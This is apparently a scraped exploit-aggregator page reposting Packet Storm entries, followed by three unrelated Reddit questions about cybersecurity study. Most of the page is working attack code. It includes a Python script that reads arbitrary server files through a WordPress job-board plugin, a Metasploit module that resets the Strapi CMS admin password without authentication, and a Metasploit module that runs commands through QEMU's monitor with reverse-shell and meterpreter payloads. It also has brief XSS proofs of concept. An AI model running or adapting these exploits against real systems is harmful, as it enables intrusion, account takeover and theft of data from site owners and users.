Exploit Collector
WordPress Contact Form Builder 1.6.1 Cross Site Scripting

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
WordPress Contact Form Builder plugin version 1.6.1 suffers from a cross site scripting vulnerability.

MD5 | 7d3d5805d2e94ec5aac7da651e4a5bba

Download
# Exploit Title: Wordpress Plugin Contact Form Builder 1.6.1 - Cross-Site Scripting (XSS)
# Date: 2022-02-07
# Author: Milad karimi
# Software Link: https://wordpress.org/plugins/contact-forms-builder/
# Version: 1.6.1
# Tested on: Windows 11
# CVE: N/A

1. Description:
This plugin creates a Contact Form Builder from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://localhost/code_generator.php?form_id=

Source:packetstormsecurity.com

Exploit Collector
WordPress Simple Job Board 2.9.3 Local File Inclusion

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
WordPress Simple Job Board plugin version 2.9.3 suffers from a local file inclusion vulnerability.

MD5 | e059abbfdfefc909ce027e4265e3e84b

Download
# Exploit Title: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion
# Date: 2022-02-06
# Exploit Author: Ven3xy
# Vendor Homepage: https://wordpress.org/plugins/simple-job-board/
# Software Link: https://downloads.wordpress.org/plugin/simple-job-board.2.9.3.zip
# Version: 2.9.3
# Tested on: Ubuntu 20.04 LTS
# CVE : CVE-2020-35749
import requests
import sys
import time

class color:
HEADER = '\033[95m'
IMPORTANT = '\33[35m'
NOTICE = '\033[33m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
UNDERLINE = '\033[4m'
LOGGING = '\33[34m'
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]
def banner():
run = color_random[6]+'''\nY88b / 888~~ 888 ,e, d8
Y88b / 888-~88e 888___ Y88b / 888-~88e 888 e88~-_ " _d88__
Y88b e / 888 888b ____ 888 Y88b/ 888 888b 888 d888 i 888 888
Y88bd8b/ 888 8888 888 Y88b 888 8888 888 8888 | 888 888
Y88Y8Y 888 888P 888 /Y88b 888 888P 888 Y888 ' 888 888
Y Y 888-_88" 888___ / Y88b 888-_88" 888 "88_-~ 888 "88_/
888 888 \n'''
run2 = color_random[2]+'''\t\t\t(CVE-2020-35749)\n'''
run3 = color_random[4]+'''\t{ Coded By: Ven3xy | Github: https://github.com/M4xSec/ }\n\n'''
print(run+run2+run3)
if (len(sys.argv) != 5):
banner()
print("[!] Usage : ./wp-exploit.py <target_url<file_path<user<pass")
print("[~] Example : ./wp-exploit.py http://target.com:8080/wordpress/ /etc/passwd admin admin")
exit()

else:
banner()
fetch_path = sys.argv[2]
print (color_random[5]+"[+] Trying to fetch the contents from "+fetch_path)
time.sleep(3)
target_url = sys.argv[1]
usernamex = sys.argv[3]
passwordx = sys.argv[4]
print("\n")
login = target_url+"wp-login.php"
wp_path = target_url+'wp-admin/post.php?post=application_id&action=edit&sjb_file='+fetch_path
username = usernamex
password = passwordx

with requests.Session() as s:
headers = { 'Cookie':'wordpress_test_cookie=WP Cookie check',
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15' }

post_data={ 'log':username, 'pwd':password,
'wp-submit':'Log In','redirect_to':wp_path,
'testcookie':'1'
}

s.post(login, headers=headers, data=post_data)
resp = s.get(wp_path)

out_file = open("output.txt", "w")
print(resp.text, file=out_file)
out_file.close()
print(color_random[4]+resp.text)
out = color_random[5]+"\n[+] Output Saved as: output.txt\n"
print(out)


Source:packetstormsecurity.com

Exploit Collector
Strapi CMS 3.0.0-beta.17.4 Privilege Escalation

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
This Metasploit module exploits the mishandling of a password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.

MD5 | 8ecdde32e335de56a08cade93bba6146

Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,

'Name' => "Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)",
'Description' => %q{
This exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.
},
'License' => MSF_LICENSE,
'Author' => [ 'WackyH4cker' ],
'References' =>
[
[ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]
],
'Platform' => 'linux',
'Targets' => [
[ 'Strapi 3.0.0-beta-17.4', {} ]
],
'Payload' => '',
'Privileged' => true,
'DisclosureDate' => "",
'DefaultOptions' =>
{
'SSL' => 'False',
'RPORT' => 80,
},
'DefaultTarget' => 0

))

register_options [
OptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])
]
end

def check

res = send_request_raw({ 'uri' => '/admin/init' })
version = JSON.parse(res.body)

if version["data"]["strapiVersion"] == '3.0.0-beta.17.4'
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end

end

def run

json_body = { 'code' => {'$gt' => 0},
'password' => datastore['NEW_PASSWORD'],
'passwordConfirmation' => datastore['NEW_PASSWORD'] }

res = send_request_cgi({
'method' => 'POST',
'uri' => '/admin/auth/reset-password',
'ctype' => 'application/json',
'data' => JSON.generate(json_body)
})

print_status("Changing password...")
json_format = JSON.parse(res.body)
jwt = json_format['jwt']

if res.code == 200
print_good("Password changed successfully!")
print_good("USER: admin")
print_good("PASSWORD: #{datastore['NEW_PASSWORD']}")
print_good("JWT: #{jwt}")
else
fail_with(Failure::NoAccess"Could not change admin user password")
end
end

end


Source:packetstormsecurity.com

Exploit Collector
WordPress Security Audit 1.0.0 Cross Site Scripting

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png
WordPress Security Audit plugin version 1.0.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 0447c49cb1da4d97eb0c5a3c4376be33

Download
# Exploit Title: WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS)
# Date: 2022-01-26
# Exploit Author: Shweta Mahajan
# Vendor Homepage: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/
# Software Link: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/
# Tested on Windows
# CVE: CVE-2021-24901
# Reference:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24901
https://wpscan.com/vulnerability/9c315404-b66a-448c-a3b7-367a37b53435

How to reproduce vulnerability:

1. Install Latest WordPress

2. Install and activate Titan-labs-security-audit Version 1.0.0

3. Navigate to Security Audit settings >> enter the payload into 'Data Id'.

4. Enter JavaScript payload which is mentioned below
">x

5. You will observe that the payload successfully got stored into the
database and when you are triggering the same functionality at that
time JavaScript payload gets executed successfully and we'll get a
pop-up.


Source:packetstormsecurity.com

Exploit Collector
TOR Virtual Network Tunneling Tool 0.4.6.10

https://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png
Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. It provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy. Individuals can use it to keep remote Websites from tracking them and their family members. They can also use it to connect to resources such as news sites or instant messaging services that are blocked by their local Internet service providers (ISPs). This is the source code release.

MD5 | 1da676163e4c78efcc650210fa7c0530

Download
Source:packetstormsecurity.com

Exploit Collector
QEMU Monitor HMP migrate Command Execution

https://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png
This Metasploit module uses QEMU's Monitor Human Monitor Interface (HMP) TCP server to execute system commands using the migrate command. This module has been tested successfully on QEMU version 6.2.0 on Ubuntu 20.04.

MD5 | e8ecc1c0c11599ea59c446e9c722572d

Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => "QEMU Monitor HMP 'migrate' Command Execution",
'Description' => %q{
This module uses QEMU's Monitor Human Monitor Interface (HMP)
TCP server to execute system commands using the `migrate` command.

This module has been tested successfully on QEMU version 6.2.0
on Ubuntu 20.04.
},
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'References' => [
['URL', 'https://wiki.qemu.org/ToDo/HMP'],
['URL', 'https://www.qemu.org/docs/master/system/monitor.html'],
['URL', 'https://www.qemu.org/docs/master/system/security.html'],
['URL', 'https://www.linux-kvm.org/page/Migration'],
],
'Arch' => [ ARCH_CMD, ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'Platform' => %w[unix linux],
'Payload' => {
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d\x22",
'Space' => 1010
},
'Targets' => [
[
'Unix (Command)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_cmd
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'PrependFork' => true,
'MeterpreterTryToFork' => true
},
'Type' => :linux_dropper
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'Privileged' => false,
'DisclosureDate' => '2011-12-02'
)
)
end

def read_until_prompt
::Timeout.timeout(10) do
loop do
res = sock.get_once
break if res.nil?
break if res.to_s.include?('(qemu)')
end
end
end

def check
connect
banner = sock.get_once.to_s
disconnect

unless banner.include?('QEMU') && banner.include?('monitor')
return CheckCode::Safe('Service is not QEMU monitor HMP.')
end

CheckCode::Appears('QEMU monitor HMP service is running.')
end

def execute_command(cmd, _opts = {})
cmd = cmd.gsub('\\', '\\\\\\')
vprint_status("Executing command: #{cmd}")
sock.put("migrate -d \"exec:#{cmd}\"\n")
read_until_prompt
end

def exploit
connect
read_until_prompt

print_status "Sending payload (#{payload.encoded.length} bytes) ..."

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 1010, background: true)
end
ensure
disconnect unless sock.nil?
end
end

Source:packetstormsecurity.com

hacking: security in practice
How to stay motivated?

Hi! I am currently a student studying cyber security as a bacherlor and i am currently having a problem.

I have gotten extremely demotivated to contuinue cyber security, i used to be really motivated and worked alot with it as i liked it alot but lately (last maybe 1-2 months) i have lost all motivation. Any advise or tips / help would be appreciated.

submitted by /u/FranciscoBlackmore
[link] [comments]

hacking: security in practice
basic doubts

* what are job Opportunity in OSINT?
* can non tech guy jump into osint ?
* will i get any government job?

submitted by /u/retro1337
[link] [comments]

hacking: security in practice
wtf is ngrok

i had some problem with opening a port on modem someone told me to download "ngrok" is it safe

submitted by /u/astraldede
[link] [comments]